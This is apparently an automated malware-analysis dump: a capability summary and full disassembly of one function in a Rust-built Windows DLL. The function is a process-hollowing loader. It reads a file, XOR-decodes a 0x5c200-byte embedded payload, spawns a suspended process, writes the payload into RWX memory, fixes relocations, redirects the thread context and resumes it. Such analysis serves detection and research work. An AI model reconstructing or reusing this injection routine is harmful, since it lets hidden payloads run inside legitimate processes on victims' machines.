Function at 0x1800010d0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Encode data using xor
Execute shellcode via indirect call
Read file on windows
Resolve function by parsing pe exports
Resume thread
Terminate process
Use process replacement

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x128
movaps xmmword [rsp + 0x110], xmm6
mov rdi, r8
mov rsi, rdx
mov rbx, rcx
test rdx, rdx
je 0x180001143
js 0x180001a94
movzx eax, byte [0x18003bba8]
mov rcx, qword [0x18003bb38]
test rcx, rcx
jne 0x18000112b
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
je 0x180001299
mov rcx, rax
mov qword [0x18003bb38], rax
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapAlloc]
mov r15, rax
test rax, rax
jne 0x180001149
jmp 0x180001299
mov r15d, 1
mov rcx, r15
mov rdx, rbx
mov r8, rsi
call fcn.18001b660
mov dword [rsp + 0xb0], 0
mov word [rsp + 0xb4], 0
mov dword [rsp + 0x90], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x98], xmm0
mov qword [rsp + 0xa8], 7
mov byte [rsp + 0xb0], 1
lea r8, [rsp + 0x90]
mov rcx, r15
mov rdx, rsi
call fcn.1800153c0
mov rbx, rax
mov r14, rdx
test rsi, rsi
je 0x1800011c6
mov rcx, qword [0x18003bb38]
xor edx, edx
mov r8, r15
call qword [sym.imp.kernel32.dll_HeapFree]
test rbx, rbx
jne 0x180001a9b
xorps xmm0, xmm0
movaps xmmword [rsp + 0xb0], xmm0
movaps xmmword [rsp + 0xa0], xmm0
movaps xmmword [rsp + 0x90], xmm0
mov dword [rsp + 0xc0], 0
lea rbx, [rsp + 0x90]
mov rcx, r14
mov rdx, rbx
call qword [sym.imp.kernel32.dll_GetFileInformationByHandle]
test eax, eax
je 0x180001a53
test byte [rsp + 0x91], 4
je 0x180001245
mov qword [rsp + 0x50], 0
lea r8, [rsp + 0x50]
mov rcx, r14
mov edx, 9
mov r9d, 8
call qword [sym.imp.kernel32.dll_GetFileInformationByHandleEx]
test eax, eax
je 0x180001a53
mov esi, dword [rsp + 0xb0]
mov eax, dword [rsp + 0xb4]
shl rsi, 0x20
or rsi, rax
je 0x1800012a8
js 0x180001a94
mov rcx, qword [0x18003bb38]
test rcx, rcx
jne 0x180001283
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
je 0x180001299
mov rcx, rax
mov qword [0x18003bb38], rax
mov edx, 8
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapAlloc]
mov r15, rax
test rax, rax
jne 0x1800012ae
mov ecx, 1
mov rdx, rsi
call fcn.180027fb0
ud2
mov r15d, 1
movups xmm0, xmmword [0x18002d8e8]
movaps xmmword [rsp + 0x50], xmm0
mov eax, 0xffffffff
cmp rsi, rax
cmovb rax, rsi
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
mov dword [rsp + 0x30], eax
mov qword [rsp + 0x28], r15
lea r13, [rsp + 0x50]
mov qword [rsp + 0x20], r13
mov rcx, r14
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.ntdll.dll_NtReadFile]
cmp eax, 0x103
jne 0x18000130b
mov rcx, r14
mov edx, 0xffffffff
call qword [sym.imp.kernel32.dll_WaitForSingleObject]
mov eax, dword [rsp + 0x50]
cmp eax, 0xc0000011
je 0x18000133b
cmp eax, 0x103
je 0x180001afe
test eax, eax
jns 0x18000133b
mov ecx, eax
call qword [sym.imp.ntdll.dll_RtlNtStatusToDosError]
mov r12d, eax
mov ecx, eax
call fcn.1800140f0
cmp al, 0xb
jne 0x180001ae5
mov r12, rsi
sub r12, 0x5c200
jb 0x180001ad1
movzx eax, byte [0x18003bba8]
mov rcx, qword [0x18003bb38]
test rcx, rcx
jne 0x180001377
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
je 0x180001a72
mov rcx, rax
mov qword [0x18003bb38], rax
mov r8d, 0x5c200
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapAlloc]
test rax, rax
je 0x180001a72
mov rsi, rax
add r12, r15
mov r8d, 0x5c200
mov rcx, rax
mov rdx, r12
call fcn.18001b660
movzx eax, byte [0x18003bba8]
mov rcx, qword [0x18003bb38]
test rcx, rcx
jne 0x1800013d1
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
je 0x180001a83
mov rcx, rax
mov qword [0x18003bb38], rax
mov r8d, 0xf
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapAlloc]
test rax, rax
je 0x180001a83
mov r8, rax
movabs rax, 0x88059ba565346124
mov qword [r8 + 7], rax
movabs rax, 0x248c0d1224151d4d
mov qword [r8], rax
lea r11, [r8 + 1]
mov ecx, 1
xor r9d, r9d
movabs r12, 0x8888888888888889
nop dword [rax]
mov rax, rcx
mul r12
mov r10, rdx
shr r10, 3
mov rax, r10
shl rax, 4
sub r10, rax
add r10, r11
mov rax, r9
mul r12
shr rdx, 3
mov rax, rdx
shl rax, 4
sub rdx, rax
add rdx, r8
movzx eax, byte [r9 + rdx]
xor byte [rsi + r9], al
movzx eax, byte [r9 + r10]
xor byte [rsi + r9 + 1], al
lea rax, [r9 + 2]
add rcx, 2
mov r9, rax
cmp rax, 0x5c200
jne 0x180001420
mov rcx, qword [0x18003bb38]
mov r12, qword [sym.imp.kernel32.dll_HeapFree]
xor edx, edx
call r12
mov rcx, qword [0x18003bb38]
xor edx, edx
mov r8, r15
call r12
mov rcx, r14
call qword [sym.imp.kernel32.dll_CloseHandle]
xorps xmm6, xmm6
movaps xmmword [rsp + 0xe0], xmm6
movaps xmmword [rsp + 0xd0], xmm6
movaps xmmword [rsp + 0xc0], xmm6
movaps xmmword [rsp + 0xb0], xmm6
movaps xmmword [rsp + 0xa0], xmm6
movaps xmmword [rsp + 0x90], xmm6
mov qword [rsp + 0xf0], 0
movaps xmmword [rsp + 0x50], xmm6
mov qword [rsp + 0x60], 0
mov dword [rsp + 0xcc], 1
mov word [rsp + 0xd0], 0
mov r15, qword [rdi + 8]
mov rdx, qword [rdi + 0x10]
cmp r15, rdx
je 0x1800016f5
mov r14, qword [rdi]
mov byte [r14 + rdx], 0
inc rdx
mov qword [rdi + 0x10], rdx
mov rcx, r14
call fcn.180006100
mov rcx, rdx
mov qword [rsp + 0x48], r13
mov qword [rsp + 0x40], rbx
movups xmmword [rsp + 0x30], xmm6
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 1
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.kernel32.dll_CreateProcessA]
mov edi, eax
test r15, r15
je 0x180001575
mov rcx, qword [0x18003bb38]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
test edi, edi
je 0x18000161d
movsxd r14, dword [rsi + 0x3c]
lea r12, [r14 + rsi]
mov edi, dword [r14 + rsi + 0xb0]
mov rcx, qword [rsp + 0x50]
mov r8d, dword [r14 + rsi + 0x50]
mov dword [rsp + 0x20], 0x40
xor edx, edx
mov r9d, 0x3000
call qword [sym.imp.kernel32.dll_VirtualAllocEx]
mov r13, rax
test edi, edi
je 0x180001655
test r13, r13
je 0x180001a05
mov rax, r13
sub rax, qword [r12 + 0x30]
mov qword [rsp + 0x108], rax
mov qword [r12 + 0x30], r13
mov rcx, qword [rsp + 0x50]
mov r9d, dword [r12 + 0x54]
mov qword [rsp + 0x20], 0
mov rdx, r13
mov r8, rsi
call qword [sym.imp.kernel32.dll_WriteProcessMemory]
test eax, eax
je 0x180001a05
movsxd rax, dword [rsi + 0x3c]
mov ebx, dword [rax + rsi + 0xb0]
test ebx, ebx
je 0x180001710
mov r15d, dword [rsi + rax + 0xb4]
jmp 0x180001715
mov rcx, qword [rsp + 0x58]
cmp rcx, 0xffffffffffffffff
je 0x18000162e
call qword [sym.imp.kernel32.dll_CloseHandle]
mov rcx, qword [rsp + 0x50]
cmp rcx, 0xffffffffffffffff
je 0x180001a05
xor edx, edx
call qword [sym.imp.kernel32.dll_TerminateProcess]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.kernel32.dll_CloseHandle]
jmp 0x180001a05
test r13, r13
je 0x180001a05
mov qword [r12 + 0x30], r13
mov rcx, qword [rsp + 0x50]
mov r9d, dword [r12 + 0x54]
mov qword [rsp + 0x20], 0
mov rdx, r13
mov r8, rsi
call qword [sym.imp.kernel32.dll_WriteProcessMemory]
test eax, eax
je 0x180001a05
lea rbx, [r12 + 0x30]
movzx edi, word [rsi + r14 + 6]
lea r8, [rsi + r14]
add r8, 0x18
inc rdi
mov r14, qword [sym.imp.kernel32.dll_WriteProcessMemory]
nop word [rax + rax]
dec rdi
je 0x180001936
lea r15, [r8 + 0x28]
movzx eax, word [r12 + 0x14]
mov rcx, qword [rsp + 0x50]
mov edx, dword [r8 + rax + 0xc]
mov r9d, dword [r8 + rax + 0x10]
add rdx, r13
mov r8d, dword [r8 + rax + 0x14]
add r8, rsi
mov qword [rsp + 0x20], 0
call r14
mov r8, r15
test eax, eax
jne 0x1800016b0
jmp 0x180001a05
mov r8d, 1
mov rcx, rdi
call fcn.180028750
mov r15, qword [rdi + 8]
mov rdx, qword [rdi + 0x10]
jmp 0x180001515
xor r15d, r15d
xor ebx, ebx
lea rax, [r12 + 0x30]
mov qword [rsp + 0xf8], rax
movzx edi, word [rsi + r14 + 6]
add r14, rsi
add r14, 0x18
inc rdi
xor ebp, ebp
jmp 0x18000176e
add r14, 0x28
mov rcx, qword [rsp + 0x50]
add rdx, r13
mov r9d, dword [rax + 0x10]
mov r8d, dword [rax + 0x14]
add r8, rsi
mov qword [rsp + 0x20], 0
call qword [sym.imp.kernel32.dll_WriteProcessMemory]
test eax, eax
je 0x180001a05
dec rdi
je 0x180001793
movzx ecx, word [r12 + 0x14]
lea rax, [r14 + rcx]
mov edx, dword [r14 + rcx + 0xc]
cmp ebx, edx
jb 0x180001740
mov ecx, dword [rax + 8]
add ecx, edx
cmp ebx, ecx
cmovb rbp, rax
jmp 0x180001740
test rbp, rbp
je 0x180001a05
mov qword [rsp + 0x80], r13
mov qword [rsp + 0x88], r12
test r15d, r15d
je 0x18000188b
mov eax, r15d
mov qword [rsp + 0x100], rax
xor r12d, r12d
lea r14, [rsp + 0x78]
jmp 0x1800017de
cmp r12, qword [rsp + 0x100]
jae 0x18000188b
mov edi, dword [rbp + 0x14]
lea rbx, [r12 + rsi]
add r12, 8
mov r13d, dword [rdi + rbx + 4]
add r13d, 0xfffffff8
cmp r13d, 2
jb 0x1800017d0
shr r13d, 1
jmp 0x180001809
add r12, 2
dec r13d
je 0x1800017d0
mov eax, dword [rbp + 0x14]
lea rcx, [rsi + r12]
movzx eax, word [rax + rcx]
cmp rax, 0x1000
jb 0x180001800
and eax, 0xfff
mov r15d, dword [rdi + rbx]
add r15, qword [rsp + 0x80]
add r15, rax
mov qword [rsp + 0x78], 0
mov rcx, qword [rsp + 0x50]
mov qword [rsp + 0x20], 0
mov r9d, 8
mov rdx, r15
mov r8, r14
call qword [sym.imp.kernel32.dll_ReadProcessMemory]
mov rax, qword [rsp + 0x108]
add qword [rsp + 0x78], rax
mov rcx, qword [rsp + 0x50]
mov qword [rsp + 0x20], 0
mov r9d, 8
mov rdx, r15
mov r8, r14
call qword [sym.imp.kernel32.dll_WriteProcessMemory]
jmp 0x180001800
movzx eax, byte [0x18003bba8]
mov rcx, qword [0x18003bb38]
test rcx, rcx
jne 0x1800018b7
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
je 0x180001a33
mov rcx, rax
mov qword [0x18003bb38], rax
mov rdi, qword [rsp + 0x88]
mov rbx, qword [rsp + 0x80]
mov r8d, 0x4d0
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapAlloc]
mov r14, rax
mov dword [r14 + 0x30], 0x10000b
mov rcx, qword [rsp + 0x58]
mov rdx, r14
call qword [sym.imp.kernel32.dll_GetThreadContext]
test eax, eax
je 0x180001a05
mov rcx, qword [rsp + 0x50]
mov rdx, qword [r14 + 0x88]
add rdx, 0x10
mov qword [rsp + 0x20], 0
mov r9d, 8
mov r8, qword [rsp + 0xf8]
call qword [sym.imp.kernel32.dll_WriteProcessMemory]
test eax, eax
je 0x180001a05
mov eax, dword [rdi + 0x28]
add rax, rbx
jmp 0x1800019c1
movzx eax, byte [0x18003bba8]
mov rcx, qword [0x18003bb38]
test rcx, rcx
jne 0x180001962
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
je 0x180001a4b
mov rcx, rax
mov qword [0x18003bb38], rax
mov r8d, 0x4d0
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapAlloc]
mov r14, rax
mov dword [r14 + 0x30], 0x10000b
mov rcx, qword [rsp + 0x58]
mov rdx, r14
call qword [sym.imp.kernel32.dll_GetThreadContext]
test eax, eax
je 0x180001a05
mov rcx, qword [rsp + 0x50]
mov rdx, qword [r14 + 0x88]
add rdx, 0x10
mov qword [rsp + 0x20], 0
mov r9d, 8
mov r8, rbx
call qword [sym.imp.kernel32.dll_WriteProcessMemory]
test eax, eax
je 0x180001a05
mov eax, dword [r12 + 0x28]
add rax, r13
mov qword [r14 + 0x80], rax
mov rcx, qword [rsp + 0x58]
mov rdx, r14
call qword [sym.imp.kernel32.dll_SetThreadContext]
test eax, eax
je 0x180001a05
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.kernel32.dll_ResumeThread]
mov rcx, qword [rsp + 0x58]
cmp rcx, 0xffffffffffffffff
je 0x1800019f6
call qword [sym.imp.kernel32.dll_CloseHandle]
mov rcx, qword [rsp + 0x50]
cmp rcx, 0xffffffffffffffff
jne 0x18000164a
mov rcx, qword [0x18003bb38]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
movaps xmm6, xmmword [rsp + 0x110]
add rsp, 0x128
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
xor r14d, r14d
mov rdi, qword [rsp + 0x88]
mov rbx, qword [rsp + 0x80]
jmp 0x1800018d8
xor r14d, r14d
jmp 0x180001973
call qword [sym.imp.kernel32.dll_GetLastError]
shl rax, 0x20
or rax, 2
mov qword [rsp + 0x90], rax
lea rax, str.srclib.rs
jmp 0x180001aaa
mov ecx, 1
mov edx, 0x5c200
call fcn.180027fb0
ud2
mov ecx, 1
mov edx, 0xf
call fcn.180027fb0
ud2
call fcn.1800021a0
ud2
mov qword [rsp + 0x90], r14
lea rax, str.srclib.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x18002a490]
lea r8, [rsp + 0x90]
mov edx, 0x2b
call fcn.180028510
ud2
lea r8, str.srclib.rs
mov rcx, r12
mov rdx, rsi
call fcn.1800280c0
ud2
shl r12, 0x20
or r12, 2
mov qword [rsp + 0x90], r12
lea rax, str.srclib.rs
jmp 0x180001aaa
mov byte [rsp + 0x7c], 0
mov dword [rsp + 0x78], 0
lea rax, str.fatal_runtime_error:_I_O_error:_operation_failed_to_complete_synchronously_n
mov qword [rsp + 0x90], rax
mov qword [rsp + 0x98], 1
lea rax, [rsp + 0x70]
mov qword [rsp + 0xa0], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0xa8], xmm0
lea rcx, [rsp + 0x78]
lea rdx, [rsp + 0x90]
call fcn.18000d9f0
mov rcx, rax
call fcn.18000db30
mov ecx, 7
int 0x29
ud2